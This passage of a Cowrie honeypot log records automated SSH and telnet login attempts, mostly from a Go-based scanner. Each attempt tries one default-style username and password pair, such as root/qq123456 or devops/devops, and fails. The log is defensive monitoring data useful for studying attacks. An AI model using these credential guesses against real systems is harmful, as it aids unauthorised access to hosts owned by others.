256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:16.351542Z","src_ip":"45.156.87.204","session":"b0cde3d22b47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:16.597173Z","src_ip":"45.156.87.204","session":"b0cde3d22b47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:17.769225Z","src_ip":"45.156.87.204","session":"b0cde3d22b47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44120,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ec9b270c2a5","protocol":"telnet","message":"New connection: 152.42.224.71:44120 (10.17.0.5:23) [session: 3ec9b270c2a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:18.760652Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54742,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca080352aaf3","protocol":"ssh","message":"New connection: 45.156.87.204:54742 (159.203.135.109:22) [session: ca080352aaf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:19.692204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:19.698246Z","src_ip":"45.156.87.204","session":"ca080352aaf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:19.784415Z","src_ip":"45.156.87.204","session":"ca080352aaf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suporte","password":"suporte","message":"login attempt [suporte/suporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:20.310199Z","src_ip":"45.156.87.204","session":"ca080352aaf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.10812473297119,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:21.243970Z","src_ip":"152.42.224.71","session":"122d1c3e53d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:21.395772Z","src_ip":"45.156.87.204","session":"ca080352aaf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44128,"dst_ip":"10.17.0.5","dst_port":23,"session":"33f33e6369a1","protocol":"telnet","message":"New connection: 152.42.224.71:44128 (10.17.0.5:23) [session: 33f33e6369a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:23.187276Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36550,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3319d3957e0","protocol":"ssh","message":"New connection: 45.156.87.204:36550 (159.203.135.109:22) [session: d3319d3957e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:23.626237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:23.630742Z","src_ip":"45.156.87.204","session":"d3319d3957e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:23.712744Z","src_ip":"45.156.87.204","session":"d3319d3957e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:23.958889Z","src_ip":"45.156.87.204","session":"d3319d3957e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:25.043293Z","src_ip":"45.156.87.204","session":"d3319d3957e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36576,"dst_ip":"159.203.135.109","dst_port":22,"session":"f72268dcff3f","protocol":"ssh","message":"New connection: 45.156.87.204:36576 (159.203.135.109:22) [session: f72268dcff3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:27.193020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:27.198852Z","src_ip":"45.156.87.204","session":"f72268dcff3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:27.281196Z","src_ip":"45.156.87.204","session":"f72268dcff3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:27.527646Z","src_ip":"45.156.87.204","session":"f72268dcff3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:28.613889Z","src_ip":"45.156.87.204","session":"f72268dcff3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36590,"dst_ip":"159.203.135.109","dst_port":22,"session":"bef44f387ad3","protocol":"ssh","message":"New connection: 45.156.87.204:36590 (159.203.135.109:22) [session: bef44f387ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:30.965348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:31.013456Z","src_ip":"45.156.87.204","session":"bef44f387ad3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:31.084538Z","src_ip":"45.156.87.204","session":"bef44f387ad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":115.37533354759216,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:31.116844Z","src_ip":"152.42.224.71","session":"f71d5a9dc1e7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:31.388835Z","src_ip":"45.156.87.204","session":"bef44f387ad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:32.474431Z","src_ip":"45.156.87.204","session":"bef44f387ad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:34.636865Z","src_ip":"47.237.167.49","session":"4ec8fea1449b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":32814,"dst_ip":"159.203.135.109","dst_port":22,"session":"afbee7fbfb25","protocol":"ssh","message":"New connection: 45.156.87.204:32814 (159.203.135.109:22) [session: afbee7fbfb25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:34.654964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:34.660313Z","src_ip":"45.156.87.204","session":"afbee7fbfb25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:34.742731Z","src_ip":"45.156.87.204","session":"afbee7fbfb25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:34.994545Z","src_ip":"45.156.87.204","session":"afbee7fbfb25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:36.080890Z","src_ip":"45.156.87.204","session":"afbee7fbfb25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":32832,"dst_ip":"159.203.135.109","dst_port":22,"session":"9238208302a9","protocol":"ssh","message":"New connection: 45.156.87.204:32832 (159.203.135.109:22) [session: 9238208302a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:38.179851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:38.187988Z","src_ip":"45.156.87.204","session":"9238208302a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:38.270356Z","src_ip":"45.156.87.204","session":"9238208302a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:38.823326Z","src_ip":"45.156.87.204","session":"9238208302a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:39.910290Z","src_ip":"45.156.87.204","session":"9238208302a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00236892700195,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:41.642207Z","src_ip":"152.42.224.71","session":"4ec6230cb3dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":32850,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b107c791d16","protocol":"ssh","message":"New connection: 45.156.87.204:32850 (159.203.135.109:22) [session: 3b107c791d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:42.135028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:42.139742Z","src_ip":"45.156.87.204","session":"3b107c791d16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:42.221549Z","src_ip":"45.156.87.204","session":"3b107c791d16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123456","message":"login attempt [app/app123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:42.467779Z","src_ip":"45.156.87.204","session":"3b107c791d16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:43.552554Z","src_ip":"45.156.87.204","session":"3b107c791d16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49458,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4582e40df29","protocol":"ssh","message":"New connection: 45.156.87.204:49458 (159.203.135.109:22) [session: b4582e40df29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:45.625973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:45.630591Z","src_ip":"45.156.87.204","session":"b4582e40df29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh